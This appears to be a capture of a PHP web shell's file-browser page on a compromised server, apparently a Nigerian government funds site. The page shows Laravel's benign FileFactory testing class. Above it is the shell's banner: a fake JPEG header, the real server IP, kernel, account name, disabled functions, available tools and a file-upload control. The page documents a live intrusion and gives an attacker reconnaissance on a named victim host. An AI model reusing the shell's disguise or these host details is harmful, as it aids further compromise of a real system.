ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.135.196.123 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/vendor/laravel/framework/src/Illuminate/Http/Testing/ |
Upload File : |
<?php namespace Illuminate\Http\Testing; use Illuminate\Support\Str; class FileFactory { /** * Create a new fake file. * * @param string $name * @param string|int $kilobytes * @param string|null $mimeType * @return \Illuminate\Http\Testing\File */ public function create($name, $kilobytes = 0, $mimeType = null) { if (is_string($kilobytes)) { return $this->createWithContent($name, $kilobytes); } return tap(new File($name, tmpfile()), function ($file) use ($kilobytes, $mimeType) { $file->sizeToReport = $kilobytes * 1024; $file->mimeTypeToReport = $mimeType; }); } /** * Create a new fake file with content. * * @param string $name * @param string $content * @return \Illuminate\Http\Testing\File */ public function createWithContent($name, $content) { $tmpfile = tmpfile(); fwrite($tmpfile, $content); return tap(new File($name, $tmpfile), function ($file) use ($tmpfile) { $file->sizeToReport = fstat($tmpfile)['size']; }); } /** * Create a new fake image. * * @param string $name * @param int $width * @param int $height * @return \Illuminate\Http\Testing\File */ public function image($name, $width = 10, $height = 10) { return new File($name, $this->generateImage( $width, $height, Str::endsWith(Str::lower($name), ['.jpg', '.jpeg']) ? 'jpeg' : 'png' )); } /** * Generate a dummy image of the given width and height. * * @param int $width * @param int $height * @param string $type * @return resource */ protected function generateImage($width, $height, $type) { return tap(tmpfile(), function ($temp) use ($width, $height, $type) { ob_start(); $image = imagecreatetruecolor($width, $height); switch ($type) { case 'jpeg': imagejpeg($image); break; case 'png': imagepng($image); break; } fwrite($temp, ob_get_clean()); }); } }